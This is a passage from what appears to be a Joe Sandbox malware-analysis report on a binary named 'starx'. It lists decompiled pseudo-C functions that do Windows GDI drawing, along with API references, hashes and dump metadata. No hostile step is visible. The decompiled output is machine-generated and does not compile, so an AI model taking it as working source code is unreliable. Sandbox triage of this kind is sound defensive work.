									SetBkColor(_t394, 0xffffff);
									_push(0xe20746);
									_push(0);
									_push(0);
									_push(E0041DA58(E004221A0(_v24)));
									_push(_t491);
									_push(_t486);
									_push(0);
									_push(0);
									_push(_t394);
									L00406244();
								}
								__eflags = 0;
								_pop(_t464);
								 *[fs:eax] = _t464;
								_push(0x42c366);
								E00403270(_v20);
								return E00403270(_v24);
							} else {
								_t507 = _t209 - 0xffffffffffffffff;
								if(_t209 - 0xffffffffffffffff < 0) {
									goto L14;
								}
								L23:
								_pop(_t447);
								 *[fs:eax] = _t447;
								_push(0x42c3a2);
								return E00403270(_v16);
							}
						}
					}
				}
			}

0x0042bded
0x0042bdef
0x0042bdf5
0x0042bdf8
0x0042bdff
0x0042be0a
0x0042be0a
0x0042be16
0x0042be1d
0x0042c3b9
0x0042c3c1
0x0042be23
0x0042be2b
0x0042be3d
0x00000000
0x0042be43
0x0042be4b
0x0042be57
0x0042be5a
0x0042be67
0x0042be70
0x0042be72
0x0042be79
0x0042be87
0x0042be87
0x0042be90
0x0042be9d
0x0042be9d
0x0042beac
0x0042beba
0x0042bec4
0x0042bece
0x0042bedc
0x0042bef1
0x0042bf01
0x0042bf0d
0x0042bf19
0x0042bf19
0x0042bf32
0x0042bf3a
0x0042bf3a
0x0042bf3c
0x0042bf49
0x0042bf4c
0x0042bf53
0x0042bf65
0x0042bf6d
0x0042bf70
0x0042bf74
0x0042bfb6
0x0042bf76
0x0042bf92
0x0042bf92
0x00000000
0x0042bf3e
0x0042bf3e
0x0042bfc1
0x0042bfc6
0x0042bfd4
0x0042bfe3
0x0042bff2
0x0042c000
0x0042c00a
0x0042c00d
0x0042c010
0x0042c014
0x0042c1fd
0x0042c207
0x0042c217
0x0042c221
0x0042c223
0x0042c229
0x0042c22e
0x0042c230
0x0042c242
0x0042c247
0x0042c24c
0x0042c261
0x0042c261
0x0042c26b
0x0042c278
0x0042c282
0x0042c28c
0x0042c299
0x0042c2a8
0x0042c2ba
0x0042c2bf
0x0042c2c4
0x0042c2c6
0x0042c2d5
0x0042c2d6
0x0042c2d7
0x0042c2d8
0x0042c2da
0x0042c2e3
0x0042c2e4
0x0042c2f1
0x0042c300
0x0042c312
0x0042c317
0x0042c31c
0x0042c31e
0x0042c32d
0x0042c32e
0x0042c32f
0x0042c330
0x0042c332
0x0042c33b
0x0042c33c
0x0042c01a
0x0042c022
0x0042c02c
0x0042c039
0x0042c043
0x0042c04f
0x0042c059
0x0042c06c
0x0042c074
0x0042c07d
0x0042c081
0x0042c089
0x0042c08a
0x0042c09a
0x0042c0a7
0x0042c0ac
0x0042c0b7
0x0042c0bc
0x0042c0c1
0x0042c0c3
0x0042c0d2
0x0042c0d3
0x0042c0d4
0x0042c0d5
0x0042c0d7
0x0042c0d9
0x0042c0da
0x0042c0ef
0x0042c0f7
0x0042c100
0x0042c104
0x0042c10c
0x0042c10d
0x0042c11d
0x0042c12a
0x0042c12f
0x0042c13a
0x0042c13f
0x0042c144
0x0042c146
0x0042c155
0x0042c156
0x0042c157
0x0042c158
0x0042c15a
0x0042c15c
0x0042c15d
0x0042c16d
0x0042c171
0x0042c179
0x0042c17a
0x0042c182
0x0042c18b
0x0042c18f
0x0042c197
0x0042c198
0x0042c1a8
0x0042c1b5
0x0042c1ba
0x0042c1c5
0x0042c1ca
0x0042c1cf
0x0042c1d1
0x0042c1e0
0x0042c1e1
0x0042c1e2
0x0042c1e3
0x0042c1e5
0x0042c1e7
0x0042c1e8
0x0042c1e8
0x0042c341
0x0042c343
0x0042c346
0x0042c349
0x0042c351
0x0042c35e
0x0042bf40
0x0042bf41
0x0042bf43
0x00000000
0x00000000
0x0042c385
0x0042c387
0x0042c38a
0x0042c38d
0x0042c39a
0x0042c39a
0x0042bf3e
0x0042bf3c
0x0042be3d

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfc34b26e23ca27da935628848334f13fde0d332eaab0f84ce8e0b7021bf65dc
Instruction ID: 4b7500e842a4a81e285d3b192bff8ad6bf9d4f3363e6922c8a2e42d9c339ea79
Opcode Fuzzy Hash: cfc34b26e23ca27da935628848334f13fde0d332eaab0f84ce8e0b7021bf65dc
Instruction Fuzzy Hash: 5E025F70B00114AFD700EBA5DD86E9EB7F5EF49304F6045AAF504AB392CA78ED41CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00430540, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 142
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00430540(void* __eax, void* __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				struct HDC__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				char _v56;
				char _v72;
				signed char _t43;
				struct HDC__* _t55;
				void* _t74;
				signed int _t77;
				int _t78;
				int _t79;
				void* _t92;
				intOrPtr _t105;
				void* _t114;
				void* _t117;
				void* _t120;
				void* _t122;
				intOrPtr _t123;

				_t120 = _t122;
				_t123 = _t122 + 0xffffffbc;
				_t92 = __ecx;
				_v8 = __edx;
				_t114 = __eax;
				_t43 = GetWindowLongA(E004432A4(_v8), 0xffffffec);
				if((_t43 & 0x00000002) == 0) {
					return _t43;
				} else {
					GetWindowRect(E004432A4(_v8),  &_v44);
					OffsetRect( &_v44,  ~(_v44.left),  ~(_v44.top));
					_t55 = E004432A4(_v8);
					_push(_t55);
					L004066DC();
					_v12 = _t55;
					_push(_t120);
					_push(0x43069b);
					_push( *[fs:edx]);
					 *[fs:edx] = _t123;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t117 = _t114;
					if(_t92 != 0) {
						_t77 = GetWindowLongA(E004432A4(_v8), 0xfffffff0);
						if((_t77 & 0x00100000) != 0 && (_t77 & 0x00200000) != 0) {
							_t78 = GetSystemMetrics(2);
							_t79 = GetSystemMetrics(3);
							InflateRect( &_v28, 0xfffffffe, 0xfffffffe);
							_t23 =  &(_v28.right); // 0x444336
							_t24 =  &(_v28.right); // 0x444336
							E00412810( *_t23 - _t78,  *_t24, _v28.bottom - _t79,  &_v72, _v28.bottom);
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t117 = _t117;
							FillRect(_v12,  &_v28, GetSysColorBrush(0xf));
						}
					}
					ExcludeClipRect(_v12, _v44.left + 2, _v44.top + 2, _v44.right - 2, _v44.bottom - 2);
					E004300DC( &_v56, 2);
					E0042FF64(_t117,  &_v56, _v12, 0,  &_v44);
					_pop(_t105);
					 *[fs:eax] = _t105;
					_push(0x4306a2);
					_push(_v12);
					_t74 = E004432A4(_v8);
					_push(_t74);
					L0040681C();
					return _t74;
				}
			}

0x00430541
0x00430543
0x00430549
0x0043054b
0x0043054e
0x0043055b
0x00430563
0x004306a8
0x00430569
0x00430576
0x0043058b
0x00430593
0x00430598
0x00430599
0x0043059e
0x004305a3
0x004305a4
0x004305a9
0x004305ac
0x004305b6
0x004305b7
0x004305b8
0x004305b9
0x004305ba
0x004305bd
0x004305ca
0x004305d4
0x004305df
0x004305e8
0x004305f7
0x00430609
0x0043060e
0x00430611
0x0043061d
0x0043061e
0x0043061f
0x00430620
0x00430621
0x00430632
0x00430632
0x004305d4
0x00430657
0x00430663
0x00430676
0x0043067d
0x00430680
0x00430683
0x0043068b
0x0043068f
0x00430694
0x00430695
0x0043069a
0x0043069a

APIs

GetWindowLongA.USER32 ref: 0043055B
GetWindowRect.USER32 ref: 00430576
OffsetRect.USER32(?,?,?), ref: 0043058B
739EB080.USER32(00000000,?,?,?,00000000,?,00000000,000000EC), ref: 00430599
GetWindowLongA.USER32 ref: 004305CA
GetSystemMetrics.USER32 ref: 004305DF
GetSystemMetrics.USER32 ref: 004305E8
InflateRect.USER32(?,000000FE,000000FE), ref: 004305F7
GetSysColorBrush.USER32(0000000F), ref: 00430624
FillRect.USER32 ref: 00430632
ExcludeClipRect.GDI32(?,?,?,?,?,00000000,0043069B,?,00000000,?,?,?,00000000,?,00000000,000000EC), ref: 00430657
739EB380.USER32(00000000,?,004306A2,?,?,?,?,00000000,0043069B,?,00000000,?,?,?,00000000,?), ref: 00430695

Strings

6CD, xrefs: 00430609, 0043060E

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Rect$Window$LongMetricsSystem$B080B380BrushClipColorExcludeFillInflateOffset
String ID: 6CD
API String ID: 3936689491-1967315327
Opcode ID: 12c2d2b149a0896c9c67ec9983b97f3cce417f7447545c3ddbd44b80a9eb7d74
Instruction ID: 5197c6c08161c95664b02828579e28b40844e1dbaffcb819c8630d2b3fac2d0a
Opcode Fuzzy Hash: 12c2d2b149a0896c9c67ec9983b97f3cce417f7447545c3ddbd44b80a9eb7d74
Instruction Fuzzy Hash: D7416271A00109AFDB00EBA9CD42EEFB7BDEF49314F100566F905F7291CA799E158B68

Uniqueness

Uniqueness Score: -1.00%

Function 00421ED0, Relevance: 21.2, APIs: 14, Instructions: 217
windowCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E00421ED0(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				void* _v12;
				char _v13;
				struct tagPOINT _v21;
				struct HDC__* _v28;
				void* _v32;
				intOrPtr _t78;
				struct HDC__* _t80;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				char _t85;
				void* _t92;
				struct HDC__* _t115;
				void* _t136;
				struct HDC__* _t160;
				intOrPtr* _t164;
				intOrPtr _t172;
				intOrPtr _t176;
				intOrPtr _t178;
				intOrPtr _t180;
				int* _t184;
				intOrPtr _t186;
				void* _t188;
				void* _t189;
				intOrPtr _t190;

				_t165 = __ecx;
				_t188 = _t189;
				_t190 = _t189 + 0xffffffe4;
				_t184 = __ecx;
				_v8 = __edx;
				_t164 = __eax;
				_t186 =  *((intOrPtr*)(__eax + 0x28));
				_t172 =  *0x42211c; // 0xf
				E0041DB2C(_v8, __ecx, _t172);
				E00422460(_t164);
				_v12 = 0;
				_v13 = 0;
				_t78 =  *((intOrPtr*)(_t186 + 0x10));
				if(_t78 != 0) {
					_push(0xffffffff);
					_push(_t78);
					_t160 =  *(_v8 + 4);
					_push(_t160);
					L004063E4();
					_v12 = _t160;
					_push( *(_v8 + 4));
					L004063B4();
					_v13 = 1;
				}
				_push(0xc);
				_t80 =  *(_v8 + 4);
				_push(_t80);
				L00406314();
				_push(_t80);
				_push(0xe);
				_t82 =  *(_v8 + 4);
				L00406314();
				_t83 = _t82;
				_t84 = _t83 * _t82;
				if(_t84 > 8) {
					L4:
					_t85 = 0;
				} else {
					_t165 =  *(_t186 + 0x28) & 0x0000ffff;
					if(_t84 < ( *(_t186 + 0x2a) & 0x0000ffff) * ( *(_t186 + 0x28) & 0x0000ffff)) {
						_t85 = 1;
					} else {
						goto L4;
					}
				}
				if(_t85 == 0) {
					if(E0042225C(_t164) == 0) {
						SetStretchBltMode(E0041DA58(_v8), 3);
					}
				} else {
					GetBrushOrgEx( *(_v8 + 4),  &_v21);
					SetStretchBltMode( *(_v8 + 4), 4);
					SetBrushOrgEx( *(_v8 + 4), _v21, _v21.y,  &_v21);
				}
				_push(_t188);
				_push(0x42210c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t190;
				if( *((intOrPtr*)( *_t164 + 0x28))() != 0) {
					E00422400(_t164, _t165);
				}
				_t92 = E004221A0(_t164);
				_t176 =  *0x42211c; // 0xf
				E0041DB2C(_t92, _t165, _t176);
				if( *((intOrPtr*)( *_t164 + 0x28))() == 0) {
					StretchBlt( *(_v8 + 4),  *_t184, _t184[1], _t184[2] -  *_t184, _t184[3] - _t184[1],  *(E004221A0(_t164) + 4), 0, 0,  *(_t186 + 0x1c),  *(_t186 + 0x20),  *(_v8 + 0x20));
					_pop(_t178);
					 *[fs:eax] = _t178;
					_push(0x422113);
					if(_v13 != 0) {
						_push(0xffffffff);
						_push(_v12);
						_t115 =  *(_v8 + 4);
						_push(_t115);
						L004063E4();
						return _t115;
					}
					return 0;
				} else {
					_v32 = 0;
					_v28 = 0;
					_push(_t188);
					_push(0x4220a1);
					_push( *[fs:eax]);
					 *[fs:eax] = _t190;
					L0040626C();
					_v28 = E0041DE50(0);
					_v32 = SelectObject(_v28,  *(_t186 + 0xc));
					E0041DFF4( *(_v8 + 4), _t164, _t184[1],  *_t184, _t184, _t186, 0, 0, _v28,  *(_t186 + 0x20),  *(_t186 + 0x1c), 0, 0,  *(E004221A0(_t164) + 4), _t184[3] - _t184[1], _t184[2] -  *_t184);
					_t136 = 0;
					_t180 = 0;
					 *[fs:eax] = _t180;
					_push(0x4220e6);
					if(_v32 != 0) {
						_t136 = SelectObject(_v28, _v32);
					}
					if(_v28 != 0) {
						return DeleteDC(_v28);
					}
					return _t136;
				}
			}

0x00421ed0
0x00421ed1
0x00421ed3
0x00421ed9
0x00421edb
0x00421ede
0x00421ee0
0x00421ee3
0x00421eec
0x00421ef3
0x00421efa
0x00421efd
0x00421f01
0x00421f06
0x00421f08
0x00421f0a
0x00421f0e
0x00421f11
0x00421f12
0x00421f17
0x00421f20
0x00421f21
0x00421f26
0x00421f26
0x00421f2a
0x00421f2f
0x00421f32
0x00421f33
0x00421f38
0x00421f39
0x00421f3e
0x00421f42
0x00421f49
0x00421f4a
0x00421f4f
0x00421f60
0x00421f60
0x00421f51
0x00421f55
0x00421f5e
0x00421f64
0x00000000
0x00000000
0x00000000
0x00421f5e
0x00421f68
0x00421fab
0x00421fb8
0x00421fb8
0x00421f6a
0x00421f75
0x00421f83
0x00421f9b
0x00421f9b
0x00421fbf
0x00421fc0
0x00421fc5
0x00421fc8
0x00421fd4
0x00421fd8
0x00421fd8
0x00421fdf
0x00421fe4
0x00421fea
0x00421ff8
0x004220e1
0x004220e8
0x004220eb
0x004220ee
0x004220f7
0x004220f9
0x004220fe
0x00422102
0x00422105
0x00422106
0x00000000
0x00422106
0x0042210b
0x00421ffe
0x00422000
0x00422005
0x0042200a
0x0042200b
0x00422010
0x00422013
0x00422018
0x00422022
0x00422032
0x0042206c
0x00422071
0x00422073
0x00422076
0x00422079
0x00422082
0x0042208c
0x0042208c
0x00422095
0x00000000
0x0042209b
0x004220a0
0x004220a0

APIs

Part of subcall function 00422460: 739EAC50.USER32(00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224B6
Part of subcall function 00422460: 739EAD70.GDI32(00000000,0000000C,00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224CB
Part of subcall function 00422460: 739EAD70.GDI32(00000000,0000000E,00000000,0000000C,00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224D5
Part of subcall function 00422460: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00421097,00000000,00421123), ref: 004224F9
Part of subcall function 00422460: 739EB380.USER32(00000000,00000000,00000000,?,?,?,?,00421097,00000000,00421123), ref: 00422504

739EB410.GDI32(?,?,000000FF), ref: 00421F12
739EB150.GDI32(?,?,?,000000FF), ref: 00421F21
739EAD70.GDI32(?,0000000C), ref: 00421F33
739EAD70.GDI32(?,0000000E,00000000,?,0000000C), ref: 00421F42
GetBrushOrgEx.GDI32(?,?,0000000E,00000000,?,0000000C), ref: 00421F75
SetStretchBltMode.GDI32(?,00000004), ref: 00421F83
SetBrushOrgEx.GDI32(?,?,?,?,?,00000004,?,?,0000000E,00000000,?,0000000C), ref: 00421F9B
SetStretchBltMode.GDI32(00000000,00000003), ref: 00421FB8
739EA590.GDI32(00000000,00000000,004220A1,?,?,0000000E,00000000,?,0000000C), ref: 00422018
SelectObject.GDI32(?,?), ref: 0042202D
SelectObject.GDI32(?,00000000), ref: 0042208C
DeleteDC.GDI32(00000000), ref: 0042209B

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: BrushModeObjectSelectStretch$A590B150B380B410CreateDeleteHalftonePalette
String ID:
API String ID: 2051775979-0
Opcode ID: 30e9f0a716d71f748b5094f8184d977122c8847d29f9ff9be822b37baa52ad6d
Instruction ID: 18f5cdf8943fc028ee8736ecfd1163fb62b26827fa8585649fa76ac0787ae1ac
Opcode Fuzzy Hash: 30e9f0a716d71f748b5094f8184d977122c8847d29f9ff9be822b37baa52ad6d
Instruction Fuzzy Hash: 33714A71B00205AFCB10DFA9D985F5AB7F8AB0C304F51856AB609E7292D778ED10CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE60, Relevance: 21.1, APIs: 14, Instructions: 131
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0041DE60(struct HDC__* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _v8;
				int _v12;
				int _v16;
				void* _v20;
				int _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				int _v48;
				int _v52;
				void _v56;
				int _t37;
				void* _t41;
				int _t43;
				void* _t47;
				void* _t72;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t85;
				void* _t87;
				void* _t88;
				intOrPtr _t89;

				_t87 = _t88;
				_t89 = _t88 + 0xffffffcc;
				asm("movsd");
				asm("movsd");
				_t71 = __ecx;
				_v8 = __eax;
				_push(0);
				L0040626C();
				_v28 = __eax;
				_push(0);
				L0040626C();
				_v32 = __eax;
				_push(_t87);
				_push(0x41dfae);
				_push( *[fs:eax]);
				 *[fs:eax] = _t89;
				_t37 = GetObjectA(_v8, 0x18,  &_v56);
				if(__ecx == 0) {
					_push(0);
					L004065DC();
					_v24 = _t37;
					if(_v24 == 0) {
						E0041DDA8(__ecx);
					}
					_push(_t87);
					_push(0x41df1d);
					_push( *[fs:eax]);
					 *[fs:eax] = _t89;
					_push(_v12);
					_push(_v16);
					_t41 = _v24;
					_push(_t41);
					L00406264();
					_v20 = _t41;
					if(_v20 == 0) {
						E0041DDA8(_t71);
					}
					_pop(_t79);
					 *[fs:eax] = _t79;
					_push(0x41df24);
					_t43 = _v24;
					_push(_t43);
					_push(0);
					L0040681C();
					return _t43;
				} else {
					_push(0);
					_push(1);
					_push(1);
					_push(_v12);
					_t47 = _v16;
					_push(_t47);
					L00406254();
					_v20 = _t47;
					if(_v20 != 0) {
						_t72 = SelectObject(_v28, _v8);
						_t85 = SelectObject(_v32, _v20);
						StretchBlt(_v32, 0, 0, _v16, _v12, _v28, 0, 0, _v52, _v48, 0xcc0020);
						if(_t72 != 0) {
							SelectObject(_v28, _t72);
						}
						if(_t85 != 0) {
							SelectObject(_v32, _t85);
						}
					}
					_pop(_t80);
					 *[fs:eax] = _t80;
					_push(0x41dfb5);
					DeleteDC(_v28);
					return DeleteDC(_v32);
				}
			}

0x0041de61
0x0041de63
0x0041de6e
0x0041de6f
0x0041de70
0x0041de72
0x0041de75
0x0041de77
0x0041de7c
0x0041de7f
0x0041de81
0x0041de86
0x0041de8b
0x0041de8c
0x0041de91
0x0041de94
0x0041dea1
0x0041dea8
0x0041dec2
0x0041dec4
0x0041dec9
0x0041ded0
0x0041ded2
0x0041ded2
0x0041ded9
0x0041deda
0x0041dedf
0x0041dee2
0x0041dee8
0x0041deec
0x0041deed
0x0041def0
0x0041def1
0x0041def6
0x0041defd
0x0041deff
0x0041deff
0x0041df06
0x0041df09
0x0041df0c
0x0041df11
0x0041df14
0x0041df15
0x0041df17
0x0041df1c
0x0041deaa
0x0041deaa
0x0041deac
0x0041deae
0x0041deb3
0x0041deb4
0x0041deb7
0x0041deb8
0x0041debd
0x0041df28
0x0041df37
0x0041df46
0x0041df6d
0x0041df74
0x0041df7b
0x0041df7b
0x0041df82
0x0041df89
0x0041df89
0x0041df82
0x0041df90
0x0041df93
0x0041df96
0x0041df9f
0x0041dfad
0x0041dfad

APIs

739EA590.GDI32(00000000), ref: 0041DE77
739EA590.GDI32(00000000,00000000), ref: 0041DE81
GetObjectA.GDI32(?,00000018,?), ref: 0041DEA1
739EA410.GDI32(?,?,00000001,00000001,00000000,00000000,0041DFAE,?,00000000,00000000), ref: 0041DEB8
739EAC50.USER32(00000000,00000000,0041DFAE,?,00000000,00000000), ref: 0041DEC4
739EA520.GDI32(00000000,?,?,00000000,0041DF1D,?,00000000,00000000,0041DFAE,?,00000000,00000000), ref: 0041DEF1
739EB380.USER32(00000000,00000000,0041DF24,00000000,0041DF1D,?,00000000,00000000,0041DFAE,?,00000000,00000000), ref: 0041DF17
SelectObject.GDI32(?,?), ref: 0041DF32
SelectObject.GDI32(?,00000000), ref: 0041DF41
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,00CC0020), ref: 0041DF6D
SelectObject.GDI32(?,00000000), ref: 0041DF7B
SelectObject.GDI32(?,00000000), ref: 0041DF89
DeleteDC.GDI32(?), ref: 0041DF9F
DeleteDC.GDI32(?), ref: 0041DFA8

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Object$Select$A590Delete$A410A520B380Stretch
String ID:
API String ID: 956127455-0
Opcode ID: ee2a4f9d699a4dfe8abea4e2266c0315d8ebdbfbf763f3230c7a6d4aa3bcd2d1
Instruction ID: 1084619fe8f61270e5a0b32790f09c93e1a807a14f70d030787f74dccfb96ff3
Opcode Fuzzy Hash: ee2a4f9d699a4dfe8abea4e2266c0315d8ebdbfbf763f3230c7a6d4aa3bcd2d1
Instruction Fuzzy Hash: 174133B1E44218AFDB10EBE9CC42FAFB7FCEB08704F114466B605F7281C67959518B68

Uniqueness

Uniqueness Score: -1.00%

Function 00444098, Relevance: 19.7, APIs: 13, Instructions: 224
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00444098(intOrPtr* __eax, intOrPtr __edx) {
				intOrPtr* _v8;
				intOrPtr _v12;
				struct HDC__* _v16;
				struct tagRECT _v32;
				struct tagRECT _v48;
				void* _v64;
				struct HDC__* _t120;
				void* _t171;
				intOrPtr* _t193;
				intOrPtr* _t196;
				intOrPtr _t205;
				void* _t208;
				intOrPtr _t216;
				signed int _t234;
				void* _t237;
				void* _t239;
				intOrPtr _t240;

				_t237 = _t239;
				_t240 = _t239 + 0xffffffc4;
				_v12 = __edx;
				_v8 = __eax;
				if( *(_v8 + 0x165) != 0 ||  *(_v8 + 0x16c) > 0) {
					_t120 = E004432A4(_v8);
					_push(_t120);
					L004066DC();
					_v16 = _t120;
					_push(_t237);
					_push(0x4442fe);
					_push( *[fs:edx]);
					 *[fs:edx] = _t240;
					GetClientRect(E004432A4(_v8),  &_v32);
					GetWindowRect(E004432A4(_v8),  &_v48);
					MapWindowPoints(0, E004432A4(_v8),  &_v48, 2);
					OffsetRect( &_v32,  ~(_v48.left),  ~(_v48.top));
					ExcludeClipRect(_v16, _v32, _v32.top, _v32.right, _v32.bottom);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					InflateRect( &_v32,  *(_v8 + 0x16c),  *(_v8 + 0x16c));
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					if( *(_v8 + 0x165) != 0) {
						_t208 = 0;
						if( *(_v8 + 0x163) != 0) {
							_t208 = 0 +  *((intOrPtr*)(_v8 + 0x168));
						}
						if( *(_v8 + 0x164) != 0) {
							_t208 = _t208 +  *((intOrPtr*)(_v8 + 0x168));
						}
						_t234 = GetWindowLongA(E004432A4(_v8), 0xfffffff0);
						if(( *(_v8 + 0x162) & 0x00000001) != 0) {
							_v48.left = _v48.left - _t208;
						}
						if(( *(_v8 + 0x162) & 0x00000002) != 0) {
							_v48.top = _v48.top - _t208;
						}
						if(( *(_v8 + 0x162) & 0x00000004) != 0) {
							_v48.right = _v48.right + _t208;
						}
						if((_t234 & 0x00200000) != 0) {
							_t196 =  *0x47e598; // 0x47f900
							_v48.right = _v48.right +  *((intOrPtr*)( *_t196))(0x14);
						}
						if(( *(_v8 + 0x162) & 0x00000008) != 0) {
							_v48.bottom = _v48.bottom + _t208;
						}
						if((_t234 & 0x00100000) != 0) {
							_t193 =  *0x47e598; // 0x47f900
							_v48.bottom = _v48.bottom +  *((intOrPtr*)( *_t193))(0x15);
						}
						DrawEdge(_v16,  &_v48,  *(0x467c10 + ( *(_v8 + 0x163) & 0x000000ff) * 4) |  *(0x467c20 + ( *(_v8 + 0x164) & 0x000000ff) * 4),  *(_v8 + 0x162) & 0x000000ff |  *(0x467c30 + ( *(_v8 + 0x165) & 0x000000ff) * 4) |  *(0x467c40 + ( *(_v8 + 0x1a5) & 0x000000ff) * 4) | 0x00002000);
					}
					IntersectClipRect(_v16, _v48.left, _v48.top, _v48.right, _v48.bottom);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					OffsetRect( &_v48,  ~_v48,  ~(_v48.top));
					FillRect(_v16,  &_v48, E0041D28C( *((intOrPtr*)(_v8 + 0x170))));
					_pop(_t216);
					 *[fs:eax] = _t216;
					_push(0x444305);
					_push(_v16);
					_t171 = E004432A4(_v8);
					_push(_t171);
					L0040681C();
					return _t171;
				} else {
					 *((intOrPtr*)( *_v8 - 0x10))();
					_t205 = E0042FE58(E0042FD78());
					if(_t205 != 0) {
						_t205 = _v8;
						if(( *(_t205 + 0x52) & 0x00000002) != 0) {
							_t205 = E00430540(E0042FD78(), 0, _v8);
						}
					}
					return _t205;
				}
			}

0x00444099
0x0044409b
0x004440a1
0x004440a4
0x004440b1
0x004440c6
0x004440cb
0x004440cc
0x004440d1
0x004440d6
0x004440d7
0x004440dc
0x004440df
0x004440ef
0x00444101
0x00444117
0x0044412c
0x00444145
0x00444150
0x00444151
0x00444152
0x00444153
0x00444163
0x0044416e
0x0044416f
0x00444170
0x00444171
0x0044417c
0x00444182
0x0044418e
0x00444193
0x00444193
0x004441a3
0x004441a8
0x004441a8
0x004441be
0x004441ca
0x004441cc
0x004441cc
0x004441d9
0x004441db
0x004441db
0x004441e8
0x004441ea
0x004441ea
0x004441f3
0x004441f7
0x00444200
0x00444200
0x0044420d
0x0044420f
0x0044420f
0x00444218
0x0044421c
0x00444225
0x00444225
0x00444285
0x00444285
0x0044429e
0x004442a9
0x004442aa
0x004442ab
0x004442ac
0x004442bd
0x004442d9
0x004442e0
0x004442e3
0x004442e6
0x004442ee
0x004442f2
0x004442f7
0x004442f8
0x004442fd
0x00444305
0x0044430d
0x00444315
0x0044431c
0x0044431e
0x00444325
0x00444331
0x00444331
0x00444325
0x0044433c
0x0044433c

APIs

739EB080.USER32(00000000), ref: 004440CC
GetClientRect.USER32(00000000,?), ref: 004440EF
GetWindowRect.USER32 ref: 00444101
MapWindowPoints.USER32 ref: 00444117
OffsetRect.USER32(?,?,?), ref: 0044412C
ExcludeClipRect.GDI32(0042F1CA,?,?,?,?,?,?,?,00000000,00000000,?,00000002,00000000,?,00000000,?), ref: 00444145
InflateRect.USER32(?,?,?), ref: 00444163
GetWindowLongA.USER32 ref: 004441B9
DrawEdge.USER32(0042F1CA,?,00000000,00000008), ref: 00444285
IntersectClipRect.GDI32(0042F1CA,?,?,?,?), ref: 0044429E
OffsetRect.USER32(?,?,?), ref: 004442BD
FillRect.USER32 ref: 004442D9
739EB380.USER32(00000000,0042F1CA,00444305,?,?,?,0042F1CA,?,?,?,?,?,?,?,0042F1CA,?), ref: 004442F8

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

